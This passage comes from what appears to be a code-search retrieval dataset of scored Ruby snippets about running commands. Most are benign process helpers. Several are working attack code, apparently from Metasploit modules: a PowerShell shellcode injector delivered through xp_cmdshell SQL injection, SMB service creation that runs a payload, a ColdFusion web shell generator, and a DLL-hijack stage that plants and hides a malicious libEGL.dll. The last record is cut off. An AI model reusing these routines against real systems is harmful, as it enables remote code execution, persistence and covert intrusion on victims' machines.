\"ruby_cocoa_wrapper.rb.\"\n @rb_script.puts ruby_cocoa_wrapper_rb\n @rb_script.close\n File.chmod 0755, @rb_script.path\n end\n\n cmd = @rb_script.path\n plist4r_root = File.expand_path File.join(File.dirname(__FILE__), \"..\", \"..\")\n @result_file = Tempfile.new(\"result_file.rb\")\n @result_file.close\n\n pid, stdin, stdout, stderr = ::Plist4r::Popen4::popen4 [cmd, plist4r_root, @result_file.path]\n\n stdin.puts stdin_str\n stdin.close\n\n ignored, status = [nil,nil]\n\n begin\n Timeout::timeout(Plist4r::Config[:backend_timeout]) do\n ignored, status = Process::waitpid2 pid\n end\n rescue Timeout::Error => exc\n puts \"#{exc.message}, killing pid #{pid}\"\n Process::kill('TERM', pid)\n # Process::kill('HUP', pid)\n ignored, status = Process::waitpid2 pid\n end\n\n stdout_result = stdout.read.strip\n stderr_result = stderr.read.strip\n\n return [cmd, status, stdout_result, stderr_result] \n end", "title": "" }, { "docid": "bcefdad35654bd1f89b97bee2acff65b", "score": "0.46444473", "text": "def execute(cmd,msg)\n identify_string = unless on_windows?\n self.child_process_uid = Digest::SHA1.hexdigest(Time.now.to_s + cmd)\n \"IDENTIFIER=#{child_process_uid}\"\n else ''\n end\n real_cmd = \"#{cmd} #{identify_string} 2>&1\"\n @launcher.logger.info \"#{msg} with #{real_cmd}\"\n `#{real_cmd}`\n end", "title": "" }, { "docid": "719021260ff5de85b546be519a418780", "score": "0.46430653", "text": "def powershell_upload_exec(path)\n\n\t\tprint_status(\"Deploying a payload\")\n\t\t# Create powershell script that will inject our shell code\n\t\t# Note: Must start multi/handler and set DisablePayloadHandler if expecting multiple shells\n\t\tmyscript =\"$code = @\\\"\n[DllImport(\\\"kernel32.dll\\\")]\npublic static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\n[DllImport(\\\"kernel32.dll\\\")]\npublic static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\n[DllImport(\\\"msvcrt.dll\\\")]\npublic static extern IntPtr memset(IntPtr dest, uint src, uint count);\n\\\"@\n$winFunc = Add-Type -memberDefinition $code -Name \\\"Win32\\\" -namespace Win32Functions -passthru\n[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\\\',',0').sub(',','')}\n$size = 0x1000\nif ($sc.Length -gt 0x1000) {$size = $sc.Length}\n$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)\nfor ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}\n$winFunc::CreateThread(0,0,$x,0,0,0)\"\n\n\t\t# Unicode encode powershell script\n\t\tmytext_uni = Rex::Text.to_unicode(myscript)\n\n\t\t# Base64 encode unicode\n\t\tmytext_64 = Rex::Text.encode_base64(mytext_uni)\n\n\t\t# Generate random file name\n\t\trand_filename = rand_text_alpha(8)\n\t\tvar_duplicates = rand_text_alpha(8)\n\n\t\t# Write base64 encode powershell payload to temp file\n\t\t# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations\n\t\t# Adding line number tracking to remove line duplication from nested link write commands\n\t\tlinenum = 0\n\t\tmytext_64.scan(/.{1,2500}/).each {|part|\n\t\t\texecute = \"(select 1); EXEC master..xp_cmdshell 'powershell -C \\\"Write \\\"--#{linenum}--#{part}\\\" >> %TEMP%\\\\#{rand_filename}\\\"'\"\n\t\t\tsql = query_builder(path,\"\",0,execute,true)\n\t\t\tresult = mssql_query(sql, false)\n\t\t\tlinenum = linenum+1\n\t\t}\n\n\t\t# Remove duplicate lines from temp file and write to new file\n\t\texecute = \"(select 1);exec master..xp_cmdshell 'powershell -C \\\"gc %TEMP%\\\\#{rand_filename}| get-unique > %TEMP%\\\\#{var_duplicates}\\\"'\"\n\t\tsql = query_builder(path,\"\",0,execute,true)\n\t\tresult = mssql_query(sql, false)\n\n\t\texecute = \"(select 1);exec master..xp_cmdshell 'powershell -C \\\"gc %TEMP%\\\\#{var_duplicates} | Foreach-Object {$_ -replace \\\\\\\"--.*--\\\\\\\",\\\\\\\"\\\\\\\"} | Set-Content %TEMP%\\\\#{rand_filename}\\\"'\"\n\t\tsql = query_builder(path,\"\",0,execute,true)\n\t\tresult = mssql_query(sql, false)\n\n\t\t# Generate base64 encoded powershell command we can use noexit and avoid parsing errors\n\t\t# If running on 64bit system, 32bit powershell called from syswow64 - path to Powershell on 64bit systems hardcoded\n\t\tpowershell_cmd = \"$temppath=(gci env:temp).value;$dacode=(gc $temppath\\\\#{rand_filename}) \\\n\t\t-join '';if((gci env:processor_identifier).value -like '*64*'){$psbits=\\\"C:\\\\windows\\\\syswow64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe \\\n\t\t-noexit -noprofile -encodedCommand $dacode\\\"} else {$psbits=\\\"powershell.exe -noexit -noprofile -encodedCommand $dacode\\\"};iex $psbits\"\n\t\tpowershell_uni = Rex::Text.to_unicode(powershell_cmd)\n\t\tpowershell_base64 = Rex::Text.encode_base64(powershell_uni)\n\n\t\t## Setup and execute shellcode with powershell via xp_cmdshell\n\t\tprint_status(\"Executing the payload\")\n\t\texecute = \"(select 1); EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_base64}'\"\n\t\tsql = query_builder(path,\"\",0,execute,true)\n\t\tresult = mssql_query(sql, false)\n\n\t\t# Remove payload data from the target server\n\t\texecute = \"(select 1); EXEC master..xp_cmdshell 'powershell -C \\\"Remove-Item %TEMP%\\\\#{rand_filename}\\\";powershell -C \\\"Remove-Item %TEMP%\\\\#{var_duplicates}\\\"'\"\n\t\tsql = query_builder(path,\"\",0,execute,true)\n\t\tresult = mssql_query(sql,false)\n\tend", "title": "" }, { "docid": "c2249d22dac6287b540c04a7bac40231", "score": "0.46241295", "text": "def ruby_version_execute(command)\n if windows?\n prefixed_command = windows_safe_path_join(ENV['SYSTEMDRIVE'], 'rubies', new_resource.ruby, 'bin', command)\n else\n prefixed_command = \"chruby-exec #{new_resource.ruby} -- #{command}\"\n end\n shell_out!(prefixed_command).stdout\n end", "title": "" }, { "docid": "833925c04caf06c2583fb5b5bbd080df", "score": "0.46229988", "text": "def shell(command)\n Kernel.system command\n end", "title": "" }, { "docid": "fbf60d90bffa3d357588c2866c7dbaa8", "score": "0.46194857", "text": "def execute\n if !File.exist?(@so_filename)\n compile\n end\n\n time_before = Time.now\n ffi_interface = Module.new\n ffi_interface.extend(FFI::Library)\n ffi_interface.ffi_lib(@so_filename)\n ffi_interface.attach_function(:launch_kernel, [:pointer], :pointer)\n environment_object = environment_builder.build_ffi_object\n Log.info(\"FFI transfer time: #{Time.now - time_before} s\")\n\n time_before = Time.now\n kernel_result = ffi_interface.launch_kernel(environment_object)\n total_time_external = Time.now - time_before\n Log.info(\"Kernel time: #{total_time_external} s\")\n\n # Update command\n root_command.accept(CommandNotifier.new(environment_builder.ffi_struct))\n\n # TODO: Currently, this only works if result_type.is_singleton?\n if result_type.is_singleton?\n result_t_struct = KernelResultStruct.new(kernel_result)\n else\n result_t_struct = KernelUnionResultStruct.new(kernel_result)\n end\n\n # Extract error code and return value\n error_code = result_t_struct[:error_code]\n\n # Extract time measurements\n self.class.last_time_setup_cuda += result_t_struct[:time_setup_cuda] * 0.000001\n self.class.last_time_prepare_env += result_t_struct[:time_prepare_env] * 0.000001\n self.class.last_time_kernel += result_t_struct[:time_kernel] * 0.000001\n self.class.last_time_free_memory += result_t_struct[:time_free_memory] * 0.000001\n self.class.last_time_transfer_memory += result_t_struct[:time_transfer_memory] * 0.000001\n self.class.last_time_allocate_memory += result_t_struct[:time_allocate_memory] * 0.000001\n self.class.last_time_total_external += total_time_external\n\n if error_code != 0\n # Kernel failed\n Errors.raiseCudaError(error_code)\n end\n\n time_before = Time.now\n\n # Check type of result: It should be one of `result_type`\n if result_type.is_singleton?\n array_type = result_type.singleton_type\n\n if !array_type.is_a?(Types::ArrayType)\n raise AssertionError.new(\n \"ArrayType expected, but #{array_type} found\")\n end\n\n result = result_t_struct[:result][:content]\n result_size = result_t_struct[:result][:size]\n else\n array_type = result_type.find do |sing_type|\n sing_type.class_id == result_t_struct[:result][:class_id]\n end\n\n if array_type == nil\n raise AssertionError.new(\n \"Unknown class_id: #{result_t_struct[:result][:class_id]}\")\n end\n\n if !array_type.is_a?(Types::ArrayType)\n raise AssertionError.new(\n \"ArrayType expected, but #{array_type} found\")\n end\n\n result = result_t_struct[:result][:value][:variable_size_array][:content]\n result_size = result_t_struct[:result][:value][:variable_size_array][:size]\n end\n\n inner_type = array_type.inner_type\n\n if inner_type.is_singleton?\n # Read in entire array\n if inner_type.singleton_type == Types::PrimitiveType::Int\n computation_result = result.read_array_of_int(result_size)\n elsif inner_type.singleton_type == Types::PrimitiveType::Float\n computation_result = result.read_array_of_float(result_size)\n elsif inner_type.singleton_type == Types::PrimitiveType::Bool\n computation_result = result.read_array_of_uint8(result_size).map do |v|\n v == 1\n end\n elsif inner_type.singleton_type == Types::PrimitiveType::Nil\n computation_result = [nil] * result_size\n elsif inner_type.singleton_type.is_a?(Types::ZipStructType)\n result_struct_type = inner_type.singleton_type.to_ruby_type\n computation_result = Array.new(result_size) do |index|\n result_struct_type.new(result + index * result_struct_type.size)\n end\n else\n raise NotImplementedError.new(\"Type not implemented\")\n end\n\n self.class.last_time_read_result_ffi = Time.now - time_before\n return computation_result\n else\n # Read union type struct\n # Have to read one by one and assemble object\n result_values = Array.new(result_size)\n\n for index in 0...result_size\n # TODO: Size of union type (12 bytes) should not be hard-coded here\n s = Constants::UNION_TYPE_SIZE\n o = Constants::UNION_TYPE_VALUE_OFFSET\n next_type = (result + (s * index)).read_int\n\n if next_type == Types::PrimitiveType::Int.class_id\n result_values[index] = (result + s * index + o).read_int\n elsif next_type == Types::PrimitiveType::Float.class_id\n result_values[index] = (result + s * index + o).read_float\n elsif next_type == Types::PrimitiveType::Bool.class_id\n result_values[index] = (result + s * index + o).read_uint8 == 1\n elsif next_type == Types::PrimitiveType::Nil.class_id\n result_values[index] = nil\n else\n raise NotImplementedError.new(\"Implement class objs for \\##{index}: #{next_type}\")\n end\n end\n\n self.class.last_time_read_result_ffi = Time.now - time_before\n return result_values\n end\n end", "title": "" }, { "docid": "1831b01aec53f845ddfba38f1f74a966", "score": "0.46168235", "text": "def smb_pshell(ser_sock)\r\n # Connect to the IPC share first\r\n ser_sock.client.tree_connect(\"\\\\\\\\#{datastore['RHOST']}\\\\IPC$\")\r\n # The uuid for SVCCTL\r\n uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']\r\n # Setup the svcctl handle\r\n handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', datastore['RHOST'], [\"\\\\svcctl\"])\r\n opts = {\r\n 'Msf' => framework,\r\n 'MsfExploit' => self,\r\n 'smb_pipeio' => 'rw',\r\n 'smb_client' => ser_sock\r\n }\r\n print_status(\"Bound to #{handle} ...\")\r\n # Route the dcerpc pipe over our authenticated socket\r\n dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)\r\n svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)\r\n # Open the scmanager\r\n scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])\r\n # Check to see if persist is on\r\n if datastore['SERVICE_PERSIST']\r\n opts = { :start => SERVICE_AUTO_START }\r\n else\r\n opts = {}\r\n end\r\n peer = datastore['RHOST']\r\n vprint_status(\"#{peer} - Attempting to create the service...\")\r\n service_name = datastore['SERVICE_NAME'] ||= Rex::Text.rand_text_alpha(8)\r\n display_name = datastore['SERVICE_DISPLAY_NAME'] ||= Rex::Text.rand_text_alpha(8)\r\n\r\n # This is where we get our payload at!\r\n command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)\r\n\r\n begin\r\n # remember svc_client is routed over our smb connection via dcerpc!\r\n svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)\r\n print_status(\"Attempting to start service, error is normal\")\r\n svc_status = svc_client.startservice(svc_handle)\r\n case svc_status\r\n when ERROR_SUCCESS\r\n print_status(\"#{peer} - Service started successfully...\")\r\n when ERROR_FILE_NOT_FOUND\r\n print_error(\"#{peer} - Service failed to start - FILE_NOT_FOUND\")\r\n when ERROR_ACCESS_DENIED\r\n print_error(\"#{peer} - Service failed to start - ACCESS_DENIED\")\r\n when ERROR_SERVICE_REQUEST_TIMEOUT\r\n print_status(\"#{peer} - Service start timed out, OK if running a command or non-service executable...\")\r\n else\r\n print_error(\"#{peer} - Service failed to start, ERROR_CODE: #{svc_status}\")\r\n end # end case\r\n if datastore['SERVICE_PERSIST']\r\n print_warning(\"#{peer} - Not removing service for persistance...\")\r\n else\r\n vprint_status(\"#{peer} - Removing the service...\")\r\n svc_status = svc_client.deleteservice(svc_handle)\r\n if svc_status == ERROR_SUCCESS\r\n vprint_good(\"#{peer} - Successfully removed the sevice\")\r\n else\r\n print_error(\"#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}\")\r\n end\r\n end\r\n ensure\r\n vprint_status(\"#{peer} - Closing service handle... and killing the socket\")\r\n svc_client.closehandle(svc_handle)\r\n end\r\n end", "title": "" }, { "docid": "c0efa550841cce8953c0345c50ce8503", "score": "0.46079847", "text": "def spawn(cmd, target)\n super(cmd, target)\n\n # garbage collection has no good effect for spawning a child process in\n # Windows because forking is not supported and so Ruby objects cannot be\n # shared with child process (although handles can be shared via some\n # advanced API programming). the following GC call is only for\n # compatibility with the Linux implementation.\n ::GC.start\n\n # merge and format environment strings, if necessary.\n environment_hash = @options[:environment] || {}\n environment_hash = ::RightScale::RightPopen::Windows::Utilities.merge_environment(\n environment_hash,\n current_user_environment_hash,\n machine_environment_hash)\n\n # resolve command string from array, if necessary.\n if cmd.kind_of?(::Array)\n escaped = []\n cmd.flatten.each_with_index do |token, token_index|\n token = token.to_s\n if token_index == 0\n executable = token\n token = self.class.find_executable_in_path(executable)\n raise ::Errno::ENOENT.new(executable) unless token\n end\n escaped << self.class.quoted_command_token(token)\n end\n cmd = escaped.join(' ')\n else\n # resolve first token as an executable using PATH, etc.\n cmd = cmd.to_s\n delimiter = (cmd[0..0] == '\"') ? '\"' : ' '\n if delimiter_offset = cmd.index(delimiter, 1)\n token = cmd[0..delimiter_offset].strip\n remainder = cmd[(delimiter_offset + 1)..-1].to_s.strip\n else\n token = cmd\n remainder = ''\n end\n\n executable = token\n token = self.class.find_executable_in_path(executable)\n raise ::Errno::ENOENT.new(executable) unless token\n token = self.class.quoted_command_token(token)\n if remainder.empty?\n cmd = token\n else\n cmd = \"#{token} #{remainder}\"\n end\n end\n\n result = []\n spawner = lambda do\n # launch cmd using native implementation.\n result += popen4_impl(cmd, environment_hash)\n end\n if @options[:directory]\n # note that invoking Dir.chdir with a block when already inside a\n # chdir block is can print an annoying warning to STDERR when paths\n # differ under circumstances that are hard to define.\n # case sensitivity? forward vs. backslash?\n # anyway, do our own comparison to try and avoid this warning.\n current_directory = ::Dir.pwd.gsub(\"\\\\\", '/')\n new_directory = ::File.expand_path(@options[:directory]).gsub(\"\\\\\", '/')\n if 0 == current_directory.casecmp(new_directory)\n spawner.call\n else\n ::Dir.chdir(@options[:directory]) { spawner.call }\n end\n else\n spawner.call\n end\n @stdin, @stdout, @stderr, @pid = result\n start_timer\n true\n rescue Exception => e\n # catch-all for failure to spawn process ensuring a non-nil status. the\n # PID most likely is nil but the exit handler can be invoked for async.\n safe_close_io\n @status ||= ::RightScale::RightPopen::ProcessStatus.new(@pid, 1)\n\n # raise ProcessError for consistency with Linux fork&exec behavior.\n pe = ::RightScale::RightPopen::ProcessError.new(\"#{e.class}: #{e.message}\")\n pe.set_backtrace(e.backtrace)\n raise pe\n end", "title": "" }, { "docid": "687c3946157c889668723736d719f743", "score": "0.46012074", "text": "def exec(s)\n imagefile = '/tmp/cvm-image'\n opt = { \n :be => GMPForth::VMCompiler.host_big_endian?\n }\n @vc = GMPForth::VMCompiler.new opt\n @vc.bootimage = true\n 32.times { @vc.vm.asm(:vm_nop) }\n code = \"CODE test #{s} vm_halt END-CODE\"\n @vc.parse(code)\n @vc.compile\n @vc.image imagefile\n rsp = []\n\n Open3.popen3(\"cvm/cvm -t -d #{imagefile}\") do |input,output,err|\n done=false\n while !done\n line = err.gets\n rsp << line.chomp! if !line.nil?\n case line\n when /^===DONE===/\n done=true\n when /Abort/, nil\n done=true\n end\n end\n end\n \n rsp\n end", "title": "" }, { "docid": "3ecc6516c19e05db5b6ee6e58ec161d9", "score": "0.4597618", "text": "def mount_proc\n mount('none', '/proc', nil, LibC::MS_REC | LibC::MS_PRIVATE, nil)\n mount('proc', '/proc', 'proc',\n LibC::MS_NOSUID | LibC::MS_NOEXEC | LibC::MS_NODEV, nil)\n end", "title": "" }, { "docid": "53d38e1ff407ac0fab8ad16ba84c0c76", "score": "0.45967317", "text": "def cmd_exec(cmd, args=nil, time_out=15)\n case session.type\n when /meterpreter/\n #\n # The meterpreter API requires arguments to come separately from the\n # executable path. This has no effect on Windows where the two are just\n # blithely concatenated and passed to CreateProcess or its brethren. On\n # POSIX, this allows the server to execve just the executable when a\n # shell is not needed. Determining when a shell is not needed is not\n # always easy, so it assumes anything with arguments needs to go through\n # /bin/sh.\n #\n # This problem was originally solved by using Shellwords.shellwords but\n # unfortunately, it is unsuitable. When a backslash occurs inside double\n # quotes (as is often the case with Windows commands) it inexplicably\n # removes them. So. Shellwords is out.\n #\n # By setting +args+ to an empty string, we can get POSIX to send it\n # through /bin/sh, solving all the pesky parsing troubles, without\n # affecting Windows.\n #\n start = Time.now.to_i\n if args.nil? and cmd =~ /[^a-zA-Z0-9\\/._-]/\n args = \"\"\n end\n\n session.response_timeout = time_out\n process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true, 'Subshell' => true })\n o = \"\"\n # Wait up to time_out seconds for the first bytes to arrive\n while (d = process.channel.read)\n o << d\n if d == \"\"\n if Time.now.to_i - start < time_out\n sleep 0.1\n else\n break\n end\n end\n end\n o.chomp! if o\n\n begin\n process.channel.close\n rescue IOError => e\n # Channel was already closed, but we got the cmd output, so let's soldier on.\n end\n\n process.close\n when /powershell/\n if args.nil? || args.empty?\n o = session.shell_command(\"#{cmd}\", time_out)\n else\n o = session.shell_command(\"#{cmd} #{args}\", time_out)\n end\n o.chomp! if o\n when /shell/\n if args.nil? || args.empty?\n o = session.shell_command_token(\"#{cmd}\", time_out)\n else\n o = session.shell_command_token(\"#{cmd} #{args}\", time_out)\n end\n o.chomp! if o\n end\n return \"\" if o.nil?\n return o\n end", "title": "" }, { "docid": "e9bb5636de5bb6ec35dad70bbc43a440", "score": "0.4594832", "text": "def initialize(filename = 'fmodex.dll')\n @filename = filename\n @functions = {}\n @handle = 0 # Handle to the DLL\n # Load specified library into the address space of game process\n w32_LL = Win32API.new('kernel32.dll', 'LoadLibrary', 'p', 'l')\n @handle = w32_LL.call(filename)\n # System functions:\n self.import('System_Create', 'p')\n self.import('System_Init', 'llll')\n self.import('System_Close', 'l')\n self.import('System_Release', 'l')\n self.import('System_CreateSound', 'lpllp')\n self.import('System_CreateStream', 'lpllp')\n self.import('System_PlaySound', 'llllp')\n # Sound functions:\n self.import('Sound_Release', 'l')\n self.import('Sound_GetMode', 'lp')\n self.import('Sound_SetMode', 'll')\n self.import('Sound_SetLoopPoints', 'lllll')\n self.import('Sound_GetLength', 'lpl')\n # Channel functions:\n self.import('Channel_Stop', 'l')\n self.import('Channel_IsPlaying', 'lp')\n self.import('Channel_GetPaused', 'lp')\n self.import('Channel_SetPaused', 'll')\n self.import('Channel_GetVolume', 'lp')\n self.import('Channel_SetVolume', 'll')\n self.import('Channel_GetPan', 'lp')\n self.import('Channel_SetPan', 'll')\n self.import('Channel_GetFrequency', 'lp')\n self.import('Channel_SetFrequency', 'll')\n self.import('Channel_GetPosition', 'lpl')\n self.import('Channel_SetPosition', 'lll')\n end", "title": "" }, { "docid": "e9bb5636de5bb6ec35dad70bbc43a440", "score": "0.4594832", "text": "def initialize(filename = 'fmodex.dll')\n @filename = filename\n @functions = {}\n @handle = 0 # Handle to the DLL\n # Load specified library into the address space of game process\n w32_LL = Win32API.new('kernel32.dll', 'LoadLibrary', 'p', 'l')\n @handle = w32_LL.call(filename)\n # System functions:\n self.import('System_Create', 'p')\n self.import('System_Init', 'llll')\n self.import('System_Close', 'l')\n self.import('System_Release', 'l')\n self.import('System_CreateSound', 'lpllp')\n self.import('System_CreateStream', 'lpllp')\n self.import('System_PlaySound', 'llllp')\n # Sound functions:\n self.import('Sound_Release', 'l')\n self.import('Sound_GetMode', 'lp')\n self.import('Sound_SetMode', 'll')\n self.import('Sound_SetLoopPoints', 'lllll')\n self.import('Sound_GetLength', 'lpl')\n # Channel functions:\n self.import('Channel_Stop', 'l')\n self.import('Channel_IsPlaying', 'lp')\n self.import('Channel_GetPaused', 'lp')\n self.import('Channel_SetPaused', 'll')\n self.import('Channel_GetVolume', 'lp')\n self.import('Channel_SetVolume', 'll')\n self.import('Channel_GetPan', 'lp')\n self.import('Channel_SetPan', 'll')\n self.import('Channel_GetFrequency', 'lp')\n self.import('Channel_SetFrequency', 'll')\n self.import('Channel_GetPosition', 'lpl')\n self.import('Channel_SetPosition', 'lll')\n end", "title": "" }, { "docid": "80b8669e49a0d38e45b67ab947305d53", "score": "0.4594454", "text": "def dlltool(dllname, deffile, libfile)\n # define if we are using GCC or not\n if Rake::ExtensionCompiler.mingw_gcc_executable then\n dir = File.dirname(Rake::ExtensionCompiler.mingw_gcc_executable)\n tool = case RUBY_PLATFORM\n when /mingw/\n File.join(dir, 'dlltool.exe')\n when /linux|darwin/\n File.join(dir, \"#{Rake::ExtensionCompiler.mingw_host}-dlltool\")\n end\n return \"#{tool} --dllname #{dllname} --def #{deffile} --output-lib #{libfile}\"\n else\n if RUBY_PLATFORM =~ /mswin/ then\n tool = 'lib.exe'\n else\n fail \"Unsupported platform for cross-compilation (please, contribute some patches).\"\n end\n return \"#{tool} /DEF:#{deffile} /OUT:#{libfile}\"\n end\n end", "title": "" }, { "docid": "1055ec1aec5eb41fc83b07674ce15327", "score": "0.45925835", "text": "def system_xp(command)\n if windows_prompt?\n command.gsub!(\"'\", '\"')\n command.gsub!(\"%\", \"%%\")\n command.gsub!(\"\\\\(\", \"(\")\n command.gsub!(\"\\\\)\", \")\")\n end\n system command\nend", "title": "" }, { "docid": "092417d97d7697d27cb2ede77c35fab1", "score": "0.45907027", "text": "def _shell_wrapper(args, shell_options)\n if defined?(Mixlib::ShellOut) # we're on \"modern\" ruby that supports mixlib\n Mixlib::ShellOut.new(args, shell_options)\n else # ruby 1.8\n ShellWrapper.new(args, shell_options)\n end\n end", "title": "" }, { "docid": "ba13d5c18eb12c5d4a7d6a34e2b6ed21", "score": "0.45883533", "text": "def execute!(*cmd)\n if Vagrant::Util::Platform.windows?\n execute_subprocess!(*cmd)\n else\n execute_exec!(*cmd)\n end\n end", "title": "" }, { "docid": "b745280b1f63f4d1b80941f2a9f7ce02", "score": "0.45707417", "text": "def pf_shell(&block)\n ::Shells::PfShellWrapper.new(self, &block).output\n end", "title": "" }, { "docid": "1d958a63a2febabd57e6d04b01bf6ed7", "score": "0.4564786", "text": "def cfm_shell\n fname=randz(9) + '.cfm'\n cfexec=\"<html><body><!-- Contributed by Kurt Grutzmacher () -->Notes:<br><br><ul><li>Prefix DOS commands with \\\"c:\\\\windows\\\\system32\\\\cmd.exe /c &lt;command&gt;\\\" or wherever cmd.exe is<br><li>Options are, of course, the command line options you want to run<li>CFEXECUTE could be removed by the admin. If you have access to CFIDE/administrator you can re-enable it</ul><p><cfoutput><table><form method=\\\"POST\\\" action=\\\"#{fname}\\\"><tr><td>Command:</td><td><input type=text name=\\\"cmd\\\" size=50 <cfif isdefined(\\\"form.cmd\\\")>value=\\\"#form.cmd#\\\"</cfif>><br></td></tr><tr><td>Options:</td><td> <input type=text name=\\\"opts\\\" size=50 <cfif isdefined(\\\"form.opts\\\")>value=\\\"#form.opts#\\\"</cfif>><br></td></tr><tr><td>Timeout:</td><td> <input type=text name=\\\"timeout\\\" size=4 <cfif isdefined(\\\"form.timeout\\\")>value=\\\"#form.timeout#\\\" <cfelse>value=\\\"5\\\"</cfif>></td></tr></table><input type=submit value=\\\"Exec\\\" ></FORM><br><cfif isdefined(\\\"form.cmd\\\")><cfsavecontent variable=\\\"myVar\\\"><cfexecute name=\\\"#Form.cmd#\\\" arguments=\\\"#Form.opts#\\\" timeout=\\\"#Form.timeout#\\\"></cfexecute></cfsavecontent><pre>#myVar#</pre></cfif></cfoutput></body></html><!-- Contributed by Kurt Grutzmacher (http://grutz.jingojango.net/exploits/) --><!-- http://michaeldaw.org 04/2007 -->\"\n return fname, cfexec\n end", "title": "" }, { "docid": "63eb28caaa68572710e84cfca6c80303", "score": "0.45641842", "text": "def rays_safe_exec(command, *args)\n SafeShell.execute(command, *args)\nend", "title": "" }, { "docid": "eca611c12241356784079e74b5a8ddf5", "score": "0.45619386", "text": "def safer_popen(*args)\n IO.popen(\"-\") do |pipe|\n if pipe==nil\n exec(*args)\n else\n yield pipe\n end\n end\nend", "title": "" }, { "docid": "3e488c5688c2ac92216bfecd13e98cc2", "score": "0.45528612", "text": "def run_ruby(option_list)\n shell = Session::Shell.new\n command = \"#{RUBY_COMMAND} \" + option_list.join(' ')\n puts \"COMMAND: [#{command}]\" if @verbose\n @out, @err = shell.execute command\n @status = shell.exit_status\n puts \"STATUS: [#{@status}]\" if @verbose\n puts \"OUTPUT: [#{@out}]\" if @verbose\n puts \"ERROR: [#{@err}]\" if @verbose\n puts \"PWD: [#{Dir.pwd}]\" if @verbose\n shell.close\n end", "title": "" }, { "docid": "3e488c5688c2ac92216bfecd13e98cc2", "score": "0.45528612", "text": "def run_ruby(option_list)\n shell = Session::Shell.new\n command = \"#{RUBY_COMMAND} \" + option_list.join(' ')\n puts \"COMMAND: [#{command}]\" if @verbose\n @out, @err = shell.execute command\n @status = shell.exit_status\n puts \"STATUS: [#{@status}]\" if @verbose\n puts \"OUTPUT: [#{@out}]\" if @verbose\n puts \"ERROR: [#{@err}]\" if @verbose\n puts \"PWD: [#{Dir.pwd}]\" if @verbose\n shell.close\n end", "title": "" }, { "docid": "758f54967f0e514a58080cc6d139df07", "score": "0.4549713", "text": "def execute(cmd)\n res = eval(cmd, @pure_binding)\n $last_res = res\n eval(\"_ = $last_res\", @pure_binding)\n print_result res\n rescue ::Exception => e\n puts \"Exception #{e.class} -> #{e.message}\"\n e.backtrace.each do |t|\n puts \" #{::File.expand_path(t)}\"\n end\n end", "title": "" }, { "docid": "758f54967f0e514a58080cc6d139df07", "score": "0.4549713", "text": "def execute(cmd)\n res = eval(cmd, @pure_binding)\n $last_res = res\n eval(\"_ = $last_res\", @pure_binding)\n print_result res\n rescue ::Exception => e\n puts \"Exception #{e.class} -> #{e.message}\"\n e.backtrace.each do |t|\n puts \" #{::File.expand_path(t)}\"\n end\n end", "title": "" }, { "docid": "42b7cc6dae5a69098f8b3a481429ccba", "score": "0.45381272", "text": "def test_ccl(bit = 32)\n ccl = bin + \"ccl#{'64' if bit == 64}\"\n %Q{#{ccl} -e '(progn (format t \"Hello world from #{bit}-bit ClozureCL\") (ccl::quit))'}\n end", "title": "" }, { "docid": "9e3ba7ad556a59d84543af6453d458ba", "score": "0.4533193", "text": "def argv_to_ffi\n array_to_ffi(ARGV)\n end", "title": "" }, { "docid": "590eb292ebe384a4b55d610ed52bacf2", "score": "0.45241082", "text": "def native(cmd, options = {}, *args)\n method_missing(cmd, options, *args)\n end", "title": "" }, { "docid": "eab258749c2ab70a16f5e4ec8052166d", "score": "0.45239982", "text": "def ls_stage1\n\n r=''\n session = client\n s_name = \"spotify.exe\" # service executable\n p_name = \"libEGL.dll\" # malicious libEGL.dll\n u_path = datastore['LOCAL_PATH'] # /root/libEGL.dll\n d_path = \"%APPDATA%\\\\Spotify\" # remote path on target system (spotify software)\n # check for proper config settings enter\n # to prevent 'unset all' from deleting default options...\n if datastore['LOCAL_PATH'].blank?\n print_error(\"Options not configurated correctly...\")\n print_warning(\"Please set LOCAL_PATH option!\")\n return nil\n else\n print_status(\"Deploying malicious dll into target system!\")\n sleep(1.5)\n end\n\n # check if original libEGL.dll exist in target\n if client.fs.file.exist?(\"#{d_path}\\\\#{p_name}\")\n print_warning(\" Vulnerable dll agent: #{p_name} found...\")\n # backup original dll using cmd.exe COPY command...\n print_good(\" Backup original dll...\")\n r = session.sys.process.execute(\"cmd.exe /c COPY /Y #{d_path}\\\\#{p_name} #{d_path}\\\\libEGL.bk\", nil, {'Hidden' => true, 'Channelized' => true})\n sleep(1.0)\n\n # upload our malicious libEGL.dll into target system..\n print_good(\" Uploading: #{p_name} malicious agent...\")\n client.fs.file.upload(\"#{d_path}\\\\#{p_name}\",\"#{u_path}\")\n sleep(1.0)\n print_good(\" Uploaded : #{u_path} -> #{d_path}\\\\#{p_name}\")\n sleep(1.0)\n\n # change attributes of libEGL.dll to hidde it from site...\n print_good(\" Use attrib command to hidde dll...\")\n r = session.sys.process.execute(\"cmd.exe /c attrib +h +s #{d_path}\\\\#{p_name}\", nil, {'Hidden' => true, 'Channelized' => true})\n print_good(\" Execute => cmd.exe /c attrib +h +s #{d_path}\\\\#{p_name}\")\n sleep(1.0)\n\n # start remote malicious service\n print_status(\"Sart remote service...\")\n r = session.sys.process.execute(\"cmd.exe /c sc start #{s_name}\", nil, {'Hidden' => true, 'Channelized' => true})\n sleep(1.5)\n\n # task completed successefully...\n print_status(\"Malicious dll placed successefuly...\")\n print_status(\"Sart one handler and wait for connection!\")\n 